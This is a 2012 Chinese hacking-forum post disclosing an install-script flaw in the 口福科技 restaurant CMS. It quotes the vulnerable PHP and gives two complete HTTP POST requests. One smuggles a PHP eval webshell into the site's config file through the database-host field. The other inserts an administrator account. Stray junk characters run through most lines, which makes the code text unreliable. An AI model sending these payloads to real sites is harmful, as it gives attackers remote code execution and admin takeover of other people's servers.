找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2338|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。" h+ f5 ]3 h( Y2 K

: c5 ~+ Y( `) k" b. b1 ~2 R<?php
; q' k: S1 D( e8 h% p9 ?if(file_exists("../install.lock"))' }6 C" R& o1 k
{4 O& @6 B9 n) U5 g$ b% [) ]& z
    header("Location: ../");//没有退出# g/ `. `- N& S/ v* @3 l; Q8 H
}
) b. G3 H5 f/ l& x, @               
+ K' a& R& L0 Z0 e4 _6 Z//echo 'tst';exit;8 f2 M$ O% ]5 x, H& y4 B
require_once("init.php");; p* W, H8 _$ @% }0 m
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)8 c. d4 d" V- m
{
# C( _9 t6 i: Y5 W) _: Z可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
! k2 }7 b; r6 V  ]5 n4 u
3 \* H6 @/ w/ f1、getshell(很危险)+ R% O! g( S2 p4 V% w
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)) Q9 [! {+ U. i, t( {; H5 o+ Z
{. f6 H; V$ y2 ?" |' F" G. {
$smarty->assign("step",1);8 l& |5 U0 y# h8 w4 i( N
$smarty->display("index.html");
) a4 |/ k+ Q  Y, [& M0 q}elseif($_REQUEST['step']==2)1 w5 U) Q1 a# e/ a& q! l2 ^
{  T7 A" e& O! E; `6 k5 x
    $mysql_host=trim($_POST['mysql_host']);
3 ]. t* t  T9 a& |% p! a    $mysql_user=trim($_POST['mysql_user']);
1 \3 u2 }1 D  F2 c  k$ y3 e    $mysql_pwd=trim($_POST['mysql_pwd']);
. n% x8 y. X; j" [& k4 N    $mysql_db=trim($_POST['mysql_db']);4 ~0 E, J  E% M$ H4 ^
    $tblpre=trim($_POST['tblpre']);
5 L; |$ R, a  k: ]; r3 M    $domain==trim($_POST['domain']);8 {( S5 \7 |1 h' i
    $str="<?php \r\n";
5 h( z- C' r$ v" ^1 A$ t0 s; }    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";1 i7 f& m3 G, m* K+ n! }) N
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";. `3 t3 e% E2 ?' \" V0 `1 [
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
2 v+ W. e3 \2 F! u; C! L* V# {    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
: y7 D4 h0 B4 w    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
0 G! O8 {. _0 \/ B' Q7 N' f$ [    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
9 Y& U( Q( x7 f3 H: u3 Y0 d    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
( }" E" o& P6 K3 x- y. }5 s    $str.='define("SKINS","default");'."\r\n";$ x% v7 s4 x; D; V3 u7 _
    $str.='?>';, A6 W) s4 p( c- p" W
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件/ V3 H& M+ R% E0 p% e
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
* w4 D: o* s# @' xPOST /canting/install/index.php?m=index&step=2 HTTP/1.1  R+ g, |" H1 U) k" D
Host: 192.168.80.1294 F% F* b8 a$ F. Z$ Q0 q- ^) M# O
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
# @, j8 |+ l8 n$ J: t8 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.84 E$ x* A9 ~, \5 d( |
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3" C* n' [5 G+ A
Accept-Encoding: gzip, deflate
2 j. Q  _% K% `' T% I+ P( U. ]- h3 Z+ ?" rReferer: http://192.168.80.129/canting/install/index.php?step=1
0 l  s3 @5 X6 a! a5 B  \3 C3 FCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
2 U- n9 D, O) G& j, w5 MContent-Type: application/x-www-form-urlencoded7 Q! H1 D- ?/ c1 V' g
Content-Length: 126
% W4 O7 h$ `6 E0 b          8 v6 j  p- o) g0 l9 o
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
% P$ w2 T$ D4 Z9 d4 z, \, `但是这个方法很危险,将导致网站无法运行。& `; X- T( ^8 O9 L
; I' {; m  K5 W7 g! @0 i
2、直接添加管理员
8 r5 \- i0 u, r2 F/ p* H$ u, m" g$ C* G6 Z
elseif($_REQUEST['step']==5)! t/ R' P0 ^; ^/ T! X2 O$ X5 X
{0 Y3 K! Z% z& j7 N3 R; Q
    if($_POST)1 Z1 H0 i4 O- d! s3 G+ I
    {   require_once("../config/config.inc.php");
% ~- P+ B" H& c3 j0 J7 b0 o# z        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);( E7 T* X. e$ r0 V8 w7 _5 S: x
        mysql_select_db(MYSQL_DB,$link);
" I0 k9 N; X$ u        mysql_query("SET NAMES ".MYSQL_CHARSET );2 H2 |2 w# H0 e( w7 k
         mysql_query("SET sql_mode=''");
: a2 t# G: Z6 Y$ g" U& r" J' a9 H! t6 @# W. d4 N
$adminname=trim($_POST['adminname']);. W' W  R% Z6 _; i  m1 Z
        $pwd1=trim($_POST['pwd1']);* m8 W, b: K1 ?6 w6 G9 t
        $pwd2=trim($_POST['pwd2']);8 ~, m8 |7 j/ T) N# p2 E& U! V* V3 M
        if(empty($adminname)), x0 E, o1 {. [0 q. H
        {
2 i( S3 [; g0 L5 \  P. t8 M: [! C  b+ Z7 G
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
3 j2 T" t  S, D0 n' f            exit();
. @) ~& q% G; s$ w  o        }7 d- t9 Q: o# v
        if(($pwd1!=$pwd2) or empty($pwd1))2 u( X  ^' r. L* z& Y
        {" O* T3 ]& o* ~# P4 K7 |" ?* t
            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出& }) \' K2 x5 \  u
        }; \- A4 `2 d* S2 P
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员1 N6 t2 Q# x- Q, {: g2 f' s* |
    }3 O. w3 h- G) O" f
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
( v" y: R! ^, c9 {% h0 u; PPOST /canting/install/index.php?m=index&step=5 HTTP/1.1$ T! q# q% s( q* N. |
Host: 192.168.80.1296 g# K% {# w8 P/ z1 E
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0. E6 b; E' r  w' H
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.82 B% G& o) A+ I  D7 h1 l% W
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
& K" b; G5 T% C  VAccept-Encoding: gzip, deflate
/ e2 A" G; g* j; ]2 m$ dReferer: http://www.2cto.com /canting/install/index.php?step=1' c2 b- E) h4 n* {# E# c3 e
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42& h# F" j, T( W2 U
Content-Type: application/x-www-form-urlencoded& l8 m& ~& w4 D! o2 L
Content-Length: 463 U% N8 q8 H% H4 Q9 [9 l
      5 ^' e% k- |8 t/ [! @  ]
adminname=qingshen&pwd1=qingshen&pwd2=qingshen​
( @# W, W; z& P' B0 ?. v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表